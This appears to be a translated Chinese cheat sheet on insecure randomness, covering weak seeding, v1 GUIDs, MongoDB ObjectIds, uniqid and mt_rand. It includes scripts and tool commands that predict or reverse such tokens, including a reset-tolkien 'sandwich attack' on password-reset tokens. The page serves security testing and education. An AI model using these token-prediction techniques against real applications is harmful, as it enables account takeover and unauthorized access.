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不安全的随机数 (Insecure Randomness)

不安全的随机数是指计算中与随机数生成相关的弱点，特别是当这种随机性被用于安全关键目的时。随机数生成器 (RNG) 中的漏洞可能导致可预测的输出，攻击者可以利用这些输出，从而导致潜在的数据泄露或未经授权的访问。

摘要 (Summary)

方法论 (Methodology)

当随机源或生成随机值的方法不够不可预测时，就会出现不安全的随机数。这可能导致可预测的输出，攻击者可以利用这些输出。下面，我们检查一些容易产生不安全随机数的常见方法，包括基于时间的种子、GUID、UUID、MongoDB ObjectId 以及 uniqid() 函数。

基于时间的种子 (Time-Based Seeds)

许多随机数生成器 (RNG) 使用当前系统时间（例如，自纪元以来的毫秒数）作为种子。这种方法可能是不安全的，因为种子值很容易被预测，特别是在自动化或脚本环境中。

import random
import time

seed = int(time.time())
random.seed(seed)
print(random.randint(1, 100))

RNG 使用当前时间作为种子，这使得任何知道或可以估计种子值的人都可以预测它。 通过知道确切的时间，攻击者可以重新生成正确的随机值，这里有一个日期为 2024-11-10 13:37 的示例。

import random
import time

# 基于提供的字符串时间戳设置种子
seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
random.seed(seed)

# 生成随机数
print(random.randint(1, 100))

GUID / UUID

GUID (全局唯一标识符) 或 UUID (通用唯一标识符) 是一个 128 位数字，用于在计算机系统中唯一地标识信息。它们通常表示为一串十六进制数字，分为五组，由连字符分隔，例如 550e8400-e29b-41d4-a716-446655440000。GUID/UUID 旨在跨空间和时间保持唯一，即使由不同的系统系统或在不同时间生成，也能降低重复的可能性。

GUID 版本 (GUID Versions)

版本标识：xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx 四位的 M 和 1 到 3 位的 N 字段编码了 UUID 本身的格式。

版本 备注
0 仅限 00000000-0000-0000-0000-000000000000
1 基于时间或时钟序列
2 在 RFC 4122 中保留，但在许多实现中被省略
3 基于 MD5 哈希
4 随机生成
5 基于 SHA1 哈希

工具 (Tools)

  • intruder-io/guidtool - 一个检查和攻击版本 1 GUID 的工具

    $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
UUID version: 1
UUID time: 2022-04-13 08:06:13.202186
UUID timestamp: 138691299732021860
UUID node: 91754721024
UUID MAC address: 00:15:5d:01:ef:00
UUID clock sequence: 2099

$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000

Mongo ObjectId

Mongo ObjectId 是以可预测的方式生成的，12 字节的 ObjectId 值由以下部分组成：

  • 时间戳 (Timestamp) (4 字节)：代表 ObjectId 的创建时间，以自 Unix 纪元（1970年1月1日）以来的秒数衡量。
  • 机器标识符 (Machine Identifier) (3 字节)：标识生成 ObjectId 的机器。通常源自机器的主机名或 IP 地址，使得在同一台机器上创建的文档具有可预测性。
  • 进程 ID (Process ID) (2 字节)：标识生成 ObjectId 的进程。通常是 MongoDB 服务器进程的进程 ID，使得由同一进程创建的文档具有可预测性。
  • 计数器 (Counter) (3 字节)：一个唯一的计数器值，针对生成的每个新 ObjectId 递增。进程启动时初始化为随机值，但随后的值是可预测的，因为它们是按顺序生成的。

令牌示例

  • 5ae9b90a2c144b9def01ec37, 5ae9bac82c144b9def01ec39

工具 (Tools)

  • andresriancho/mongo-objectid-predict - 预测 Mongo ObjectId

    ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
5ae9bac82c144b9def01ec39
5ae9bacf2c144b9def01ec3a
5ae9bada2c144b9def01ec3b

  • 用于恢复 时间戳 (timestamp), 进程 (process) 和 计数器 (counter) 的 Python 脚本

    def MongoDB_ObjectID(timestamp, process, counter):
    return "%08x%10x%06x" % (
        timestamp,
        process,
        counter,
    )

def reverse_MongoDB_ObjectID(token):
    timestamp = int(token[0:8], 16)
    process = int(token[8:18], 16)
    counter = int(token[18:24], 16)
    return timestamp, process, counter


def check(token):
    (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
    return token == MongoDB_ObjectID(timestamp, process, counter)

tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
for token in tokens:
    (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
    print(f"{token}: {timestamp} - {process} - {counter}")

Uniqid

使用 uniqid 派生的令牌是基于时间戳的，因此可以被逆向。

令牌示例

  • uniqid: 6659cea087cd6, 6659cea087cea
  • sha256(uniqid): 4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4, ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4

工具 (Tools)

import math
import datetime

def uniqid(timestamp: float) -> str:
    sec = math.floor(timestamp)
    usec = round(1000000 * (timestamp - sec))
    return "%8x%05x" % (sec, usec)

def reverse_uniqid(value: str) -> float:
    sec = int(value[:8], 16)
    usec = int(value[8:], 16)
    return float(f"{sec}.{usec}")

tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
    t = float(reverse_uniqid(token))
    d = datetime.datetime.fromtimestamp(t)
    print(f"{token} - {t} => {d}")

mt_rand

通过两个输出值且无需暴力破解即可破解 mt_rand()。

./display_mt_rand.php 12345678 123
712530069 674417379

./reverse_mt_rand.py 712530069 674417379 123 1

自定义算法 (Custom Algorithms)

通常不建议创建自己的随机数算法。下面是一些在 GitHub 或 StackOverflow 上发现的示例，它们有时被用于生产环境，但可能不可靠或不安全。

  • $token = md5($emailId).rand(10,9999);
  • $token = md5(time()+123456789 % rand(4000, 55000000));

工具 (Tools)

通用识别和三明治攻击 (Sandwich Attack)：

  • AethliosIK/reset-tolkien - 不安全的基于时间的秘密利用和三明治攻击实现资源

    reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"

参考资料 (References)